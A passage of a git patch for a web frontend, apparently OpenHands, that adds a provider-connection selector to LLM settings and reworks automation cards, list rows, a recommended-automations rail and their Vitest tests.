LLM_PROVIDER_CONNECTION_KEY = "llm.provider_connection_id"; + +/** Dropdown sentinel for "no provider connection" (an inline key is used). */ +const NO_PROVIDER_CONNECTION = "__none__"; + const LLM_EXCLUDED_KEYS = new Set([ "llm.model", "llm.api_key", "llm.base_url", + LLM_PROVIDER_CONNECTION_KEY, LLM_AUTH_TYPE_KEY, LLM_SUBSCRIPTION_VENDOR_KEY, ]); @@ -128,6 +136,7 @@ export function LlmSettingsScreen({ hideSaveButton, suppressSuccessToast, onSaveControlChange, + showProviderConnection, }: { scope?: SettingsScope; /** Optional hook fired after a successful save (e.g. advance an onboarding step). */ @@ -142,9 +151,21 @@ export function LlmSettingsScreen({ suppressSuccessToast?: boolean; /** Forwarded to {@link SdkSectionPage}. */ onSaveControlChange?: (control: SdkSectionSaveControl) => void; + /** + * When true (the local profile editor), show a "Provider connection" selector + * that links this profile to a shared connection. Only rendered when at least + * one connection exists, so the form is unchanged until the user creates one. + */ + showProviderConnection?: boolean; }) { const { t } = useTranslation("openhands"); + const { data: providerConnections } = useProviderConnections(); + const connectionOptions = React.useMemo( + () => (showProviderConnection ? (providerConnections ?? []) : []), + [showProviderConnection, providerConnections], + ); + const { data: settings } = useSettings(scope); const { data: schema } = useAgentSettingsSchema( settings?.agent_settings_schema, @@ -229,6 +250,60 @@ export function LlmSettingsScreen({ ? apiKeyValue.length > 0 : Boolean(settings?.llm_api_key_set); + // A profile linked to a provider connection reads its api_key / base_url + // from that connection, so the inline key + base URL inputs are hidden. + const connectionValue = + typeof values[LLM_PROVIDER_CONNECTION_KEY] === "string" + ? values[LLM_PROVIDER_CONNECTION_KEY] + : ""; + const isLinkedToConnection = Boolean(connectionValue); + // Show the selector whenever connections can be linked here. Include the + // linked case so a profile pointing at an orphaned connection (its only + // connection deleted, or the list still loading) still exposes a control + // to unlink — otherwise the API key / base URL inputs stay hidden with no + // way to recover. + const showConnectionSelector = + showProviderConnection && + !isSubscriptionAuth && + (isLinkedToConnection || connectionOptions.length > 0); + // Surface an orphaned link (a selected id absent from the fetched list) + // as its own option so the dropdown reflects it and can be cleared. + const isOrphanedLink = + isLinkedToConnection && + !connectionOptions.some((c) => c.id === connectionValue); + + const renderConnectionSelector = () => ( + ({ + key: connection.id, + label: connection.display_name, + })), + ...(isOrphanedLink + ? [{ key: connectionValue, label: connectionValue }] + : []), + ]} + selectedKey={connectionValue || NO_PROVIDER_CONNECTION} + isClearable={false} + isDisabled={isDisabled} + onSelectionChange={(selectedKey) => { + const next = + typeof selectedKey === "string" && + selectedKey !== NO_PROVIDER_CONNECTION + ? selectedKey + : ""; + onChange(LLM_PROVIDER_CONNECTION_KEY, next); + }} + /> + ); + const renderApiKeyInput = (testId: string, helpTestId: string) => ( <> - {showOpenHandsApiKeyHelp ? ( + {showConnectionSelector ? renderConnectionSelector() : null} + + {showOpenHandsApiKeyHelp && !isLinkedToConnection ? ( ) : null} - {renderApiKeyInput( - // eslint-disable-next-line i18next/no-literal-string -- DOM id, not user-facing - "llm-api-key-input", - // eslint-disable-next-line i18next/no-literal-string -- DOM id, not user-facing - "llm-api-key-help-anchor", - )} + {isLinkedToConnection + ? null + : renderApiKeyInput( + // eslint-disable-next-line i18next/no-literal-string -- DOM id, not user-facing + "llm-api-key-input", + // eslint-disable-next-line i18next/no-literal-string -- DOM id, not user-facing + "llm-api-key-help-anchor", + )} )}
    @@ -404,7 +483,7 @@ export function LlmSettingsScreen({ isDisabled={isDisabled} /> - {showOpenHandsApiKeyHelp ? ( + {showOpenHandsApiKeyHelp && !isLinkedToConnection ? ( <> {isFreeOpenHandsModel(modelValue) ? ( @@ -413,24 +492,30 @@ export function LlmSettingsScreen({ ) : null} - onChange("llm.base_url", value)} - isDisabled={isDisabled} - /> - - {renderApiKeyInput( - // eslint-disable-next-line i18next/no-literal-string -- DOM id, not user-facing - "llm-api-key-input", - // eslint-disable-next-line i18next/no-literal-string -- DOM id, not user-facing - "llm-api-key-help-anchor-advanced", + {showConnectionSelector ? renderConnectionSelector() : null} + + {isLinkedToConnection ? null : ( + onChange("llm.base_url", value)} + isDisabled={isDisabled} + /> )} + + {isLinkedToConnection + ? null + : renderApiKeyInput( + // eslint-disable-next-line i18next/no-literal-string -- DOM id, not user-facing + "llm-api-key-input", + // eslint-disable-next-line i18next/no-literal-string -- DOM id, not user-facing + "llm-api-key-help-anchor-advanced", + )} )}
    @@ -439,6 +524,8 @@ export function LlmSettingsScreen({ ); }, [ + connectionOptions, + showProviderConnection, defaultModel, embedded, isWaitingForSubscriptionModels, From 7a9aacb7b69eef80c15f49230e27bbd2b3c6f41a Mon Sep 17 00:00:00 2001 From: FraterCCCLXIII Date: Wed, 19 Aug 2026 23:32:28 -0700 Subject: [PATCH 20/32] feat: polish automations dashboard, recommended rail, and Add/Import flow (#16688) Co-authored-by: hieptl --- .../automations/automation-card.test.tsx | 115 ++- .../automations/automation-list-row.test.tsx | 93 +- .../build-automation-pills.test.tsx | 82 ++ .../detail/run-status-badge.test.tsx | 9 + .../recommended-automations-rail.test.tsx | 193 +++++ .../recommended-automations.test.tsx | 59 +- .../automations/to-latest-run-state.test.ts | 52 ++ .../featured-automations-section.test.tsx | 19 +- .../features/home/home-chat-launcher.test.tsx | 21 + .../skills/skill-card-pill-row.test.tsx | 191 ++++- .../manifests/automation-insights.test.ts | 2 + .../routes/automations-dashboard.test.tsx | 103 ++- __tests__/routes/automations-list.test.tsx | 66 +- .../automations-subpages-absent.test.tsx | 2 +- .../extension-module-card-classes.test.ts | 7 + .../utils/recommended-automation-rail.test.ts | 92 ++ scripts/seed-automation-ux-data.mjs | 810 ++++++++++++++++++ .../automations/add-automation-menu.tsx | 151 ++++ .../automation-action-button-classes.ts | 6 - .../automations/automation-card-skeleton.tsx | 9 +- .../features/automations/automation-card.tsx | 235 +++-- .../features/automations/automation-group.tsx | 57 +- .../automations/automation-list-row.tsx | 284 +++--- .../automations/automation-run-insights.tsx | 2 +- .../automations/automation-view-mode.ts | 15 +- .../automations/build-automation-pills.tsx | 66 +- .../automations/create-instructions.tsx | 17 +- .../automations-dashboard-controls.tsx | 176 +++- .../dashboard/use-automation-sub-page-nav.ts | 7 +- .../automations/detail/run-status-badge.tsx | 19 +- .../features/automations/empty-state.tsx | 10 +- .../import-automation-modal.test.tsx | 60 +- .../automations/import-automation-modal.tsx | 222 +++-- .../features/automations/kebab-menu.tsx | 6 +- .../recommended-automations-launcher.tsx | 48 +- .../recommended-automations-rail.tsx | 193 +++++ .../recommended-automations-section.tsx | 18 +- .../automations/to-latest-run-state.ts | 47 + .../pinned-automation-card.tsx | 204 +++-- .../pinned-automations-dashboard.tsx | 4 +- .../running-automations-list.tsx | 10 +- .../features/home/home-chat-launcher.tsx | 2 + .../features/manifest/manifest-icons.ts | 2 + .../markdown/markdown-table-scroll.tsx | 23 +- src/components/features/mcp-logo-badge.tsx | 3 +- .../features/settings/brand-button.tsx | 6 + .../features/skills/skill-card-pill-row.tsx | 173 +++- .../shared/filters/enum-filter-dropdown.tsx | 12 +- src/fixtures/home-automations-demo.ts | 17 +- src/hooks/query/use-latest-automation-runs.ts | 3 + src/i18n/translation.json | 136 +++ src/icons/play.svg | 13 +- src/manifests/automation-insights.ts | 3 + src/manifests/automation-interface.ts | 8 + src/manifests/types.ts | 1 + src/routes/automation-templates.tsx | 2 +- src/routes/automations-list.tsx | 59 +- src/utils/automation-stack-section.ts | 2 + src/utils/extension-module-card-classes.ts | 2 +- src/utils/recommended-automation-rail.ts | 99 +++ src/utils/scroll-fade-state.ts | 18 + 61 files changed, 3720 insertions(+), 646 deletions(-) create mode 100644 __tests__/components/automations/build-automation-pills.test.tsx create mode 100644 __tests__/components/automations/recommended-automations-rail.test.tsx create mode 100644 __tests__/components/automations/to-latest-run-state.test.ts create mode 100644 __tests__/utils/recommended-automation-rail.test.ts create mode 100644 scripts/seed-automation-ux-data.mjs create mode 100644 src/components/features/automations/add-automation-menu.tsx create mode 100644 src/components/features/automations/recommended-automations-rail.tsx create mode 100644 src/components/features/automations/to-latest-run-state.ts create mode 100644 src/utils/automation-stack-section.ts create mode 100644 src/utils/recommended-automation-rail.ts create mode 100644 src/utils/scroll-fade-state.ts diff --git a/__tests__/components/automations/automation-card.test.tsx b/__tests__/components/automations/automation-card.test.tsx index 71ae1b19658a..c55bc7645988 100644 --- a/__tests__/components/automations/automation-card.test.tsx +++ b/__tests__/components/automations/automation-card.test.tsx @@ -2,14 +2,22 @@ import { render, screen } from "@testing-library/react"; import userEvent from "@testing-library/user-event"; import { describe, expect, it, vi } from "vitest"; import { AutomationCard } from "#/components/features/automations/automation-card"; -import type { Automation } from "#/types/automation"; +import { + AutomationRunStatus, + type Automation, + type AutomationRun, +} from "#/types/automation"; +import type { InterfaceListInsights } from "#/manifests/types"; vi.mock("react-i18next", () => ({ - useTranslation: () => ({ t: (key: string) => key }), + useTranslation: () => ({ + t: (key: string) => key, + i18n: { language: "en" }, + }), })); vi.mock("#/context/navigation-context", () => ({ - useNavigation: () => ({ navigate: vi.fn() }), + useNavigation: () => ({ navigate: vi.fn(), currentPath: "/" }), })); vi.mock("#/hooks/use-has-permission", () => ({ @@ -21,11 +29,37 @@ const automation: Automation = { name: "Async Standup Digest", prompt: "Generate an async standup digest from Slack activity.", enabled: true, - trigger: { type: "cron", schedule_human: "cron" }, + trigger: { type: "cron", schedule_human: "Mondays at 09:00" }, created_at: "2026-01-01T00:00:00Z", updated_at: "2026-01-01T00:00:00Z", }; +const insightsSpec = { + health: { + healthy: "Healthy", + failing: "Failing", + running: "Running", + disabled: "Disabled", + neverRun: "Never run", + checking: "Checking", + }, + lastRun: { label: "Last run", never: "Never", justNow: "Just now" }, + stats: { runs: "Runs", recentSuccess: "Success", averageDuration: "Avg" }, +}; + +function createRun(overrides: Partial = {}): AutomationRun { + return { + id: "run-1", + status: AutomationRunStatus.COMPLETED, + conversation_id: null, + bash_command_id: null, + error_detail: null, + started_at: "2026-01-02T00:00:00Z", + completed_at: "2026-01-02T00:02:00Z", + ...overrides, + }; +} + describe("AutomationCard", () => { it("uses the shared extension module interactive class without a resting border", () => { render( @@ -40,9 +74,29 @@ describe("AutomationCard", () => { const card = screen.getByTestId("automation-card-automation-1"); expect(card.className).toContain("extension-module-card-interactive"); + expect(card.className).toContain("bg-base-secondary"); expect(card.className).not.toContain("border-[var(--oh-border)]"); - expect(card.className).not.toContain("hover:bg-surface-raised"); - expect(card.className).not.toContain("hover:ring"); + }); + + it("renders title, description, and overflow pills", () => { + render( + , + ); + + expect(screen.getByText("Async Standup Digest")).toBeInTheDocument(); + expect( + screen.getByText("Generate an async standup digest from Slack activity."), + ).toBeInTheDocument(); + expect(screen.getByText("Mondays at 09:00")).toBeInTheDocument(); + expect( + screen.getByTestId("automation-pills-automation-1"), + ).toBeInTheDocument(); }); it("renders a play run button and menu actions instead of a toggle switch", async () => { @@ -60,9 +114,9 @@ describe("AutomationCard", () => { expect( screen.getByTestId("automation-run-now-automation-1"), - ).toHaveTextContent("AUTOMATIONS$RUN_NOW"); + ).toHaveAttribute("aria-label", "AUTOMATIONS$RUN_NOW"); expect(screen.getByTestId("automation-run-now-automation-1")).toHaveClass( - "h-8", + "size-8", ); expect(screen.queryByRole("switch")).not.toBeInTheDocument(); @@ -71,6 +125,49 @@ describe("AutomationCard", () => { ); expect(screen.getByText("COMMON$VIEW")).toBeInTheDocument(); - expect(screen.getAllByText("AUTOMATIONS$RUN_NOW")).toHaveLength(2); + expect(screen.getByText("AUTOMATIONS$RUN_NOW")).toBeInTheDocument(); + }); + + it("shows a status strip and sparkline when insights are present", () => { + const latestRun = createRun({ + started_at: new Date(Date.now() - 10 * 60_000).toISOString(), + completed_at: new Date(Date.now() - 8 * 60_000).toISOString(), + }); + + render( + , + ); + + expect(screen.queryByTestId("automation-health-badge")).not.toBeInTheDocument(); + expect( + screen.getByTestId("automation-last-run-automation-1"), + ).toHaveTextContent("AUTOMATIONS$DETAIL$TIME_MINUTES_AGO"); + expect(screen.getByTestId("run-status-icon-completed")).toBeInTheDocument(); + expect( + screen.getByTestId("automation-activity-automation-1"), + ).toBeInTheDocument(); + expect(screen.getByTestId("automation-run-stats")).toBeInTheDocument(); + expect(screen.getByText("4")).toBeInTheDocument(); + expect(screen.getByText("100%")).toBeInTheDocument(); }); }); diff --git a/__tests__/components/automations/automation-list-row.test.tsx b/__tests__/components/automations/automation-list-row.test.tsx index 80a3c7ffecd5..b5925d8f75ac 100644 --- a/__tests__/components/automations/automation-list-row.test.tsx +++ b/__tests__/components/automations/automation-list-row.test.tsx @@ -2,14 +2,22 @@ import { render, screen } from "@testing-library/react"; import userEvent from "@testing-library/user-event"; import { describe, expect, it, vi } from "vitest"; import { AutomationListRow } from "#/components/features/automations/automation-list-row"; -import type { Automation } from "#/types/automation"; +import { + AutomationRunStatus, + type Automation, + type AutomationRun, +} from "#/types/automation"; +import type { InterfaceListInsights } from "#/manifests/types"; vi.mock("react-i18next", () => ({ - useTranslation: () => ({ t: (key: string) => key }), + useTranslation: () => ({ + t: (key: string) => key, + i18n: { language: "en" }, + }), })); vi.mock("#/context/navigation-context", () => ({ - useNavigation: () => ({ navigate: vi.fn() }), + useNavigation: () => ({ navigate: vi.fn(), currentPath: "/" }), })); vi.mock("#/hooks/use-has-permission", () => ({ @@ -21,15 +29,45 @@ const automation: Automation = { name: "GitHub PR Reviewer", prompt: "Review pull requests.", enabled: true, - trigger: { type: "event" }, + trigger: { + type: "event", + on: "pull_request.opened", + source: "github", + }, repository: "acme/repo", model: "Claude", created_at: "2026-01-01T00:00:00Z", updated_at: "2026-01-01T00:00:00Z", }; +const insightsSpec = { + health: { + healthy: "Healthy", + failing: "Failing", + running: "Running", + disabled: "Disabled", + neverRun: "Never run", + checking: "Checking", + }, + lastRun: { label: "Last run", never: "Never", justNow: "Just now" }, + stats: { runs: "Runs", recentSuccess: "Success", averageDuration: "Avg" }, +}; + +function createRun(overrides: Partial = {}): AutomationRun { + return { + id: "run-1", + status: AutomationRunStatus.COMPLETED, + conversation_id: null, + bash_command_id: null, + error_detail: null, + started_at: "2026-01-02T00:00:00Z", + completed_at: "2026-01-02T00:02:00Z", + ...overrides, + }; +} + describe("AutomationListRow", () => { - it("renders title, pills, and action icons in a table row layout", () => { + it("renders title, trigger meta, and action icons in a two-line list row", () => { render( { screen.getByTestId("automation-list-row-automation-1"), ).toBeInTheDocument(); expect(screen.getByText("GitHub PR Reviewer")).toBeInTheDocument(); + expect(screen.getByText("pull_request.opened")).toBeInTheDocument(); + expect(screen.getByText("GitHub")).toBeInTheDocument(); expect( - screen.getByTestId("automation-pills-automation-1"), - ).toBeInTheDocument(); + screen.queryByTestId("automation-pills-automation-1"), + ).not.toBeInTheDocument(); expect( screen.getByTestId("automation-run-now-automation-1"), ).toHaveAttribute("aria-label", "AUTOMATIONS$RUN_NOW"); @@ -55,6 +95,45 @@ describe("AutomationListRow", () => { ); }); + it("shows last-run status, relative time, and a sparkline when insights are present", () => { + const latestRun = createRun({ + started_at: new Date(Date.now() - 10 * 60_000).toISOString(), + completed_at: new Date(Date.now() - 8 * 60_000).toISOString(), + }); + + render( + , + ); + + expect( + screen.getByTestId("automation-last-run-automation-1"), + ).toHaveTextContent("AUTOMATIONS$DETAIL$TIME_MINUTES_AGO"); + expect(screen.getByTestId("run-status-icon-completed")).toBeInTheDocument(); + expect( + screen.getByTestId("automation-activity-automation-1"), + ).toBeInTheDocument(); + }); + it("opens the actions menu without triggering row navigation handlers", async () => { const user = userEvent.setup(); diff --git a/__tests__/components/automations/build-automation-pills.test.tsx b/__tests__/components/automations/build-automation-pills.test.tsx new file mode 100644 index 000000000000..91a06dbe9df1 --- /dev/null +++ b/__tests__/components/automations/build-automation-pills.test.tsx @@ -0,0 +1,82 @@ +import { render, screen } from "@testing-library/react"; +import { describe, expect, it } from "vitest"; +import { buildAutomationMetadataPills } from "#/components/features/automations/build-automation-pills"; +import type { SkillCardPill } from "#/components/features/skills/skill-card-pill-row"; +import type { Automation } from "#/types/automation"; + +function buildAutomation(overrides: Partial = {}): Automation { + return { + id: "automation-1", + name: "Triage", + prompt: "Triage the issue.", + enabled: true, + trigger: { type: "event", on: "issue.updated", source: "linear" }, + created_at: "2026-01-01T00:00:00Z", + updated_at: "2026-01-01T00:00:00Z", + ...overrides, + }; +} + +function renderPills(pills: SkillCardPill[]) { + render( +
    + {pills.map((pill) => ( + + {pill.node} + + ))} +
    , + ); +} + +describe("buildAutomationMetadataPills", () => { + it("puts the event and source on separate pills", () => { + const pills = buildAutomationMetadataPills(buildAutomation(), "unused"); + + expect(pills.map((pill) => pill.id)).toEqual([ + "event-trigger", + "event-source", + ]); + + renderPills(pills); + + expect(screen.getByTestId("pill-event-trigger")).toHaveTextContent( + "issue.updated", + ); + expect(screen.getByTestId("pill-event-trigger")).not.toHaveTextContent( + "linear", + ); + expect(screen.getByTestId("pill-event-source")).toHaveTextContent("Linear"); + expect(screen.getByTestId("pill-event-source").firstElementChild).toHaveClass( + "py-0.5", + ); + expect(screen.getByTestId("automation-source-logo")).toBeInTheDocument(); + }); + + it("renders a fallback icon when the source is not in the catalog", () => { + renderPills( + buildAutomationMetadataPills( + buildAutomation({ + trigger: { type: "event", on: "alert.fired", source: "custom-pager" }, + }), + "unused", + ), + ); + + expect(screen.getByTestId("pill-event-source")).toHaveTextContent( + "Custom-Pager", + ); + expect(screen.getByTestId("automation-source-logo")).toBeInTheDocument(); + }); + + it("omits the source pill when the event has no source", () => { + const pills = buildAutomationMetadataPills( + buildAutomation({ + trigger: { type: "event", on: "pull_request.opened" }, + }), + "unused", + ); + + expect(pills.map((pill) => pill.id)).toEqual(["event-trigger"]); + }); +}); diff --git a/__tests__/components/automations/detail/run-status-badge.test.tsx b/__tests__/components/automations/detail/run-status-badge.test.tsx index f5dd8ae85695..0181de0b2ebe 100644 --- a/__tests__/components/automations/detail/run-status-badge.test.tsx +++ b/__tests__/components/automations/detail/run-status-badge.test.tsx @@ -55,6 +55,15 @@ describe("RunStatusBadge", () => { expect(screen.getByTestId("run-status-icon-completed")).toBeInTheDocument(); }); + it("renders compact pills without an outline and with tighter left padding", () => { + render(); + + const badge = screen.getByText(I18nKey.AUTOMATIONS$DETAIL$FAILED); + expect(badge.className).not.toContain("border"); + expect(badge).toHaveClass("pl-1"); + expect(badge).toHaveClass("pr-1.5"); + }); + it("renders the status word next to the icon when showLabel is set", () => { render( ({ + useTranslation: () => ({ + t: (key: string) => key, + }), +})); + +describe("RecommendedAutomationsRail", () => { + beforeEach(() => { + vi.stubGlobal( + "ResizeObserver", + class { + observe = vi.fn(); + + unobserve = vi.fn(); + + disconnect = vi.fn(); + }, + ); + }); + + afterEach(() => { + vi.unstubAllGlobals(); + }); + + it("renders remaining proven workflows before conversation-only extras", () => { + render( + , + ); + + const cardIds = screen + .getAllByTestId(/^recommended-automation-rail-card-/) + .map((card) => + card + .getAttribute("data-testid") + ?.replace("recommended-automation-rail-card-", ""), + ); + + expect(cardIds).toEqual([ + "github-repo-monitor", + "slack-channel-monitor", + "slack-standup-digest", + "linear-triage-assistant", + "jira-issue-to-pr", + "research-brief-writer", + ]); + expect( + screen.getByText(I18nKey.RECOMMENDED_AUTOMATIONS$SECTION_LABEL), + ).toBeInTheDocument(); + }); + + it("keeps space below the cards when later home sections are empty", () => { + render( + , + ); + + expect(screen.getByTestId("recommended-automations-rail")).toHaveClass( + AUTOMATION_STACK_SECTION_BOTTOM_CLASS, + ); + }); + + it("calls onSelect when a rail card is clicked", async () => { + const onSelect = vi.fn(); + const user = userEvent.setup(); + + render( + , + ); + + await user.click( + screen.getByTestId("recommended-automation-rail-card-slack-standup-digest"), + ); + + expect(onSelect).toHaveBeenCalledWith( + expect.objectContaining({ id: "slack-standup-digest" }), + ); + }); + + it("renders nothing when every recommended automation has been added", () => { + const { container } = render( + , + ); + + expect(container).toBeEmptyDOMElement(); + }); + + it("keeps a 40px icon row and overlaps multiple logos to the right", () => { + render( + , + ); + + const single = screen.getByTestId( + "recommended-automation-rail-icon-github-pr-reviewer", + ); + const overlap = screen.getByTestId( + "recommended-automation-rail-icon-jira-issue-to-pr", + ); + + expect(single).toHaveClass("h-10"); + expect(single).not.toHaveAttribute("data-layout"); + expect(overlap).toHaveClass("h-10", "-space-x-2"); + expect(overlap).toHaveAttribute("data-layout", "overlap"); + expect(overlap).not.toHaveClass("w-10", "bg-surface-raised"); + expect(overlap).not.toHaveAttribute("data-layout", "quadrants"); + }); + + describe("clipped-content fades", () => { + function mockScrollMetrics( + element: HTMLElement, + metrics: { scrollWidth: number; clientWidth: number; scrollLeft: number }, + ) { + Object.defineProperty(element, "scrollWidth", { + configurable: true, + value: metrics.scrollWidth, + }); + Object.defineProperty(element, "clientWidth", { + configurable: true, + value: metrics.clientWidth, + }); + Object.defineProperty(element, "scrollLeft", { + configurable: true, + writable: true, + value: metrics.scrollLeft, + }); + } + + it("shows an edge gradient only on the clipped side", () => { + render( + , + ); + + const scroller = screen.getByTestId("recommended-automations-rail-scroll"); + const leftFade = screen.getByTestId( + "recommended-automations-rail-fade-left", + ); + const rightFade = screen.getByTestId( + "recommended-automations-rail-fade-right", + ); + + mockScrollMetrics(scroller, { + scrollWidth: 900, + clientWidth: 320, + scrollLeft: 0, + }); + fireEvent.scroll(scroller); + + expect(rightFade).toHaveAttribute("data-visible", "true"); + expect(leftFade).toHaveAttribute("data-visible", "false"); + + mockScrollMetrics(scroller, { + scrollWidth: 900, + clientWidth: 320, + scrollLeft: 580, + }); + fireEvent.scroll(scroller); + + expect(leftFade).toHaveAttribute("data-visible", "true"); + expect(rightFade).toHaveAttribute("data-visible", "false"); + }); + }); +}); diff --git a/__tests__/components/automations/recommended-automations.test.tsx b/__tests__/components/automations/recommended-automations.test.tsx index b179a37c7a9b..f9322a898946 100644 --- a/__tests__/components/automations/recommended-automations.test.tsx +++ b/__tests__/components/automations/recommended-automations.test.tsx @@ -24,6 +24,7 @@ import { type NavigationContextValue, } from "#/context/navigation-context"; import type { Backend } from "#/api/backend-registry/types"; +import AutomationService from "#/api/automation-service/automation-service.api"; import { RecommendedAutomationsLauncher } from "#/components/features/automations/recommended-automations-launcher"; import { RecommendedAutomationsSection, @@ -103,14 +104,20 @@ const navigationValue: NavigationContextValue = { navigate: mockNavigate, }; -function renderLauncher({ withBackendProvider = false } = {}) { +function renderLauncher({ + withBackendProvider = false, + variant = "catalog", +}: { + withBackendProvider?: boolean; + variant?: "catalog" | "rail"; +} = {}) { const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false }, mutations: { retry: false } }, }); const launcher = ( - + ); @@ -867,6 +874,54 @@ describe("recommended automations", () => { ).not.toBeInTheDocument(); }); + it("renders the compact rail instead of the catalog section", async () => { + // Earlier cases call `vi.unstubAllGlobals()`, which also removes the + // setup file's ResizeObserver stub the rail's fade tracking needs. + vi.stubGlobal( + "ResizeObserver", + class { + observe() {} + + unobserve() {} + + disconnect() {} + }, + ); + vi.spyOn(AutomationService, "getAutomations").mockResolvedValue({ + automations: [ + { + id: "installed-1", + name: "GitHub Code Review Agent", + trigger: { type: "cron", schedule: "0 9 * * *" }, + enabled: true, + prompt: "Review PRs", + created_at: "2026-01-01T00:00:00Z", + updated_at: "2026-01-01T00:00:00Z", + }, + ], + total: 1, + }); + + renderLauncher({ variant: "rail" }); + + expect( + await screen.findByTestId("recommended-automations-rail"), + ).toBeInTheDocument(); + expect( + screen.queryByTestId("recommended-automations-section"), + ).not.toBeInTheDocument(); + expect( + screen.queryByTestId( + "recommended-automation-rail-card-github-pr-reviewer", + ), + ).not.toBeInTheDocument(); + expect( + screen.getByTestId( + "recommended-automation-rail-card-slack-standup-digest", + ), + ).toBeInTheDocument(); + }); + it("launches the recommendation after the missing MCP is installed", async () => { const createSpy = vi .spyOn(SettingsService, "createMcpServer") diff --git a/__tests__/components/automations/to-latest-run-state.test.ts b/__tests__/components/automations/to-latest-run-state.test.ts new file mode 100644 index 000000000000..bf72e90fab42 --- /dev/null +++ b/__tests__/components/automations/to-latest-run-state.test.ts @@ -0,0 +1,52 @@ +import { describe, expect, it } from "vitest"; +import { toRunSummaryState } from "#/components/features/automations/to-latest-run-state"; +import { AutomationRunStatus, type AutomationRun } from "#/types/automation"; + +function createRun(overrides: Partial = {}): AutomationRun { + return { + id: "run-1", + status: AutomationRunStatus.COMPLETED, + conversation_id: null, + bash_command_id: null, + error_detail: null, + started_at: "2026-01-02T00:00:00Z", + completed_at: "2026-01-02T00:03:00Z", + ...overrides, + }; +} + +describe("toRunSummaryState", () => { + it("summarizes recent runs for the dashboard stats footer", () => { + const completed = createRun(); + const failed = createRun({ + id: "run-2", + status: AutomationRunStatus.FAILED, + started_at: "2026-01-02T00:10:00Z", + completed_at: "2026-01-02T00:12:00Z", + }); + + const state = toRunSummaryState({ + latestRun: completed, + recentRuns: [completed, failed], + total: 8, + isLoading: false, + isError: false, + }); + + expect(state.summary?.total).toBe(8); + expect(state.summary?.recentSuccessRate).toBe(0.5); + expect(state.summary?.averageDurationMs).toBe(150_000); + }); + + it("keeps an empty loading state from showing fake totals", () => { + const state = toRunSummaryState({ + latestRun: null, + recentRuns: [], + isLoading: true, + isError: false, + }); + + expect(state.summary).toBeNull(); + expect(state.isLoading).toBe(true); + }); +}); diff --git a/__tests__/components/features/home/featured-automations-section.test.tsx b/__tests__/components/features/home/featured-automations-section.test.tsx index 31f0771ac130..e5144ff8be21 100644 --- a/__tests__/components/features/home/featured-automations-section.test.tsx +++ b/__tests__/components/features/home/featured-automations-section.test.tsx @@ -11,6 +11,7 @@ import { PinnedAutomationsDashboard } from "#/components/features/home/featured- import { RunningAutomationsList } from "#/components/features/home/featured-automations/running-automations-list"; import { NavigationProvider } from "#/context/navigation-context"; import { HOME_PINNED_AUTOMATIONS_KEY } from "#/hooks/use-home-pinned-automations"; +import { AUTOMATION_STACK_SECTION_BOTTOM_CLASS } from "#/utils/automation-stack-section"; import { AutomationRunStatus, type Automation, @@ -400,8 +401,20 @@ describe("home automations composer layout", () => { await user.click(screen.getByTestId("running-automation-pin-auto-1")); const dashboard = await screen.findByTestId("pinned-automations-dashboard"); + expect(dashboard).toHaveClass(AUTOMATION_STACK_SECTION_BOTTOM_CLASS); + const pinnedCard = within(dashboard).getByTestId( + "pinned-automation-card-auto-1", + ); + expect(pinnedCard.className).toContain("extension-module-card-interactive"); + expect(pinnedCard.className).toContain("bg-base-secondary"); + expect(pinnedCard.className).not.toContain("border-[var(--oh-border)]"); + expect(pinnedCard).toBeInTheDocument(); + expect( + within(dashboard).getByTestId("pinned-automation-pills-auto-1-wrap"), + ).toBeInTheDocument(); + expect(within(dashboard).getByText("Daily at 09:00")).toBeInTheDocument(); expect( - within(dashboard).getByTestId("pinned-automation-card-auto-1"), + within(pinnedCard).getByTestId("automation-run-stats"), ).toBeInTheDocument(); expect( await within(dashboard).findByRole("link", { @@ -420,6 +433,10 @@ describe("home automations composer layout", () => { expect(getStoredPinnedIds()).toContain("auto-1"); + expect( + screen.queryByTestId("pinned-automation-run-now-auto-1"), + ).not.toBeInTheDocument(); + await user.click(screen.getByTestId("pinned-automation-menu-auto-1")); expect( screen.getByTestId("pinned-automation-run-auto-1"), diff --git a/__tests__/components/features/home/home-chat-launcher.test.tsx b/__tests__/components/features/home/home-chat-launcher.test.tsx index 4c5f0b1f0fbf..58b252ef19fd 100644 --- a/__tests__/components/features/home/home-chat-launcher.test.tsx +++ b/__tests__/components/features/home/home-chat-launcher.test.tsx @@ -201,6 +201,19 @@ vi.mock("#/components/features/home/home-git-control-bar-preview", () => ({ // Stub the picker modal: pressing it selects one plugin then closes, mirroring // the real modal's `onChange` + `onClose` contract. The picker catalog itself // is covered by plugin-picker.test.tsx. +vi.mock("#/components/features/automations/recommended-automations-launcher", () => ({ + RecommendedAutomationsLauncher: ({ + variant, + className, + }: { + variant?: string; + className?: string; + }) => + variant === "rail" ? ( +
    + ) : null, +})); + vi.mock("#/components/features/plugins/plugin-picker-modal", () => ({ PluginPickerModal: ({ onChange, @@ -581,4 +594,12 @@ describe("HomeChatLauncher", () => { metadata: null, }); }); + + it("always renders the recommended automations rail above pinned activity", () => { + renderLauncher(); + + expect( + screen.getByTestId("recommended-automations-rail"), + ).toBeInTheDocument(); + }); }); diff --git a/__tests__/components/features/skills/skill-card-pill-row.test.tsx b/__tests__/components/features/skills/skill-card-pill-row.test.tsx index 52ce6e6b3765..45862f1a4657 100644 --- a/__tests__/components/features/skills/skill-card-pill-row.test.tsx +++ b/__tests__/components/features/skills/skill-card-pill-row.test.tsx @@ -1,35 +1,83 @@ -import { render, screen } from "@testing-library/react"; -import { describe, expect, it, vi } from "vitest"; +import React from "react"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { act, screen, waitFor, within } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { renderWithProviders } from "test-utils"; import { SKILL_CARD_PILL_CLASS, SkillCardPillRow, } from "#/components/features/skills/skill-card-pill-row"; describe("SkillCardPillRow", () => { - it("keeps pills on a single nowrap row with overflow handling", () => { + const observedCallbacks: ResizeObserverCallback[] = []; + + beforeEach(() => { + observedCallbacks.length = 0; vi.stubGlobal( "ResizeObserver", class { - observe() {} + constructor(cb: ResizeObserverCallback) { + observedCallbacks.push(cb); + } + + observe() { + const cb = observedCallbacks[observedCallbacks.length - 1]; + cb?.([], this as unknown as ResizeObserver); + } disconnect() {} + + unobserve() {} }, ); + }); + + afterEach(() => { + vi.unstubAllGlobals(); + }); + + function stubWidths(containerWidth: number, pillWidth: number) { + const row = screen.getByTestId("skill-triggers-test"); + Object.defineProperty(row, "clientWidth", { + configurable: true, + get: () => containerWidth, + }); + + const measure = row + 